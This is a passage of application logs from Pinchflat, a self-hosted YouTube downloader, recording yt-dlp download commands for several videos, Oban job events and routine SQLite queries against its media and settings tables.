/config/metadata/media_items/68/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d3/85/d38582da219e4bf4b4738973e4c8884ffafc0845684c94f45e5e9f72b9a62368.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:09:58.839 [info] {"source":"oban","duration":366,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:00.349 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=bKjfw77cxeQ --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/68/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/d3/85/d38582da219e4bf4b4738973e4c8884ffafc0845684c94f45e5e9f72b9a62368.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:10:00.349 [debug] QUERY OK db=0.1ms idle=1286.8ms begin [] 22:10:00.349 [debug] QUERY OK source="media_items" db=0.2ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "subtitle_filepaths" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:09:57Z], "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].mp4", [["en", "/downloads/TADC/2024-10-04 THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor/THE AMAZING DIGITAL CIRCUS - Ep 3: The Mystery Of Mildenhall Manor [bKjfw77cxeQ].en.vtt"]], ~U[2026-03-28 02:10:00Z], 68] 22:10:00.350 [debug] QUERY OK source="media_metadata" db=0.1ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/68/metadata.json.gz", "/config/metadata/media_items/68/thumbnail.jpg", 68, ~U[2026-03-28 02:10:00Z], ~U[2026-03-28 02:10:00Z]] 22:10:00.350 [debug] QUERY OK db=0.0ms commit [] 22:10:00.350 [debug] QUERY OK source="media_items" db=0.2ms idle=1288.0ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [218387415, ~U[2026-03-28 02:10:00Z], 68] 22:10:00.350 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:10:00.351 [info] {"args":{"id":68},"id":73,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":87194297,"event":"job:stop","queue_time":4795156342,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:10:00.351 [debug] QUERY OK source="tasks" db=0.2ms idle=288.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:10:00.351 [debug] QUERY OK source="tasks" db=0.2ms idle=288.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:10:00.351 [debug] QUERY OK source="media_items" db=0.0ms idle=1.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [69] 22:10:00.351 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [69] 22:10:00.356 [info] {"args":{"id":70},"id":75,"meta":{},"system_time":1774663800356577078,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:10:00.357 [debug] QUERY OK source="media_items" db=0.3ms idle=5.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [70] 22:10:00.357 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:10:00.357 [debug] QUERY OK source="tasks" db=0.5ms idle=5.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:10:00.357 [debug] QUERY OK source="tasks" db=0.5ms idle=5.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:10:00.357 [debug] QUERY OK source="sources" db=0.1ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:10:00.357 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [69, 70] 22:10:00.357 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [69, 70] 22:10:00.357 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:00.358 [debug] QUERY OK source="media_items" db=0.0ms idle=0.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [70] 22:10:00.358 [debug] QUERY OK source="media_metadata" db=0.0ms idle=0.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [70] 22:10:00.358 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:10:00.358 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:00.358 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:00.358 [debug] Running yt-dlp command for action: get_downloadable_status 22:10:00.358 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:00.359 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:00.359 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:00.359 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Q9KWcWKo2T8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4e/61/4e61c12a4512b2ee907ca51571a5e6e9d7d65df6a24c6eb589e4dcf8ca8461c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:10:00.647 [info] {"source":"oban","duration":96,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:10:03.418 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Q9KWcWKo2T8 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/4e/61/4e61c12a4512b2ee907ca51571a5e6e9d7d65df6a24c6eb589e4dcf8ca8461c8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:10:03.418 [debug] Running yt-dlp command for action: download 22:10:03.419 [debug] QUERY OK source="settings" db=0.1ms idle=1356.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:03.419 [debug] QUERY OK source="settings" db=0.0ms idle=1356.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:03.419 [debug] QUERY OK source="settings" db=0.0ms idle=1356.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:10:03.419 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Q9KWcWKo2T8 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a1/92/a19237f8c5aa39df552a730dc2fafad143fcba5ca3df2ce6154ad0cede3db6b1.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:10:28.841 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:10:58.843 [info] {"source":"oban","duration":997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:11:00.648 [info] {"source":"oban","duration":166,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:11:21.835 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sYlEkm9bcRU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --embed-subs --sub-langs en --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/Last Meals/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/db/bf/dbbfc4de6539a00800f611392bad090ec3f6388ec538802e0171495f4971294e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:21.852 [debug] Running yt-dlp command for action: download_thumbnail 22:11:21.853 [debug] QUERY OK source="settings" db=0.0ms idle=1790.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:21.853 [debug] QUERY OK source="settings" db=0.0ms idle=1790.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:21.853 [debug] QUERY OK source="settings" db=0.0ms idle=1790.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:11:21.853 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sYlEkm9bcRU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/69/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/26/0b/260b25f2162b176b3fbfb5a3a9bc555a1fdb4716aaf20812bc0a73bb44b496fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:11:24.510 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=sYlEkm9bcRU --no-simulate --skip-download --write-thumbnail --convert-thumbnail jpg --output /config/metadata/media_items/69/thumbnail.%(ext)s --print-to-file after_move:%()j /tmp/pinchflat/data/26/0b/260b25f2162b176b3fbfb5a3a9bc555a1fdb4716aaf20812bc0a73bb44b496fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 22:11:24.510 [debug] QUERY OK db=0.0ms idle=1448.1ms begin [] 22:11:24.511 [debug] QUERY OK source="media_items" db=0.3ms UPDATE "media_items" SET "media_downloaded_at" = ?, "media_filepath" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-03-28 02:11:21Z], "/downloads/Last Meals/2025-10-09 Ed Sheeran Eats His Last Meal/Ed Sheeran Eats His Last Meal [sYlEkm9bcRU].mp4", ~U[2026-03-28 02:11:24Z], 69] 22:11:24.511 [debug] QUERY OK source="media_metadata" db=0.3ms INSERT INTO "media_metadata" ("metadata_filepath","thumbnail_filepath","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5) RETURNING "id" ["/config/metadata/media_items/69/metadata.json.gz", "/config/metadata/media_items/69/thumbnail.jpg", 69, ~U[2026-03-28 02:11:24Z], ~U[2026-03-28 02:11:24Z]] 22:11:24.511 [debug] QUERY OK db=0.1ms commit [] 22:11:24.514 [debug] QUERY OK source="media_items" db=0.5ms idle=1451.3ms UPDATE "media_items" SET "media_size_bytes" = ?, "updated_at" = ? WHERE "id" = ? [372327720, ~U[2026-03-28 02:11:24Z], 69] 22:11:24.514 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:11:24.514 [info] {"args":{"id":69},"id":74,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":132223024,"event":"job:stop","queue_time":4834291336,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:11:24.515 [debug] QUERY OK source="tasks" db=0.1ms idle=741.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:24.515 [debug] QUERY OK source="tasks" db=0.2ms idle=452.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:24.515 [debug] QUERY OK source="media_items" db=0.0ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [70] 22:11:24.515 [debug] QUERY OK source="media_items" db=0.0ms idle=0.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" = ?) [70] 22:11:24.520 [info] {"args":{"id":71},"id":76,"meta":{},"system_time":1774663884520660065,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 22:11:24.520 [debug] QUERY OK source="media_items" db=0.1ms idle=5.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [71] 22:11:24.521 [info] User scripts lifecyle file either not present or is empty. Skipping. 22:11:24.521 [debug] QUERY OK source="tasks" db=0.4ms idle=5.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:24.521 [debug] QUERY OK source="sources" db=0.2ms idle=5.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:11:24.521 [debug] QUERY OK source="tasks" db=0.6ms idle=5.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 22:11:24.521 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [70, 71] 22:11:24.521 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:11:24.521 [debug] QUERY 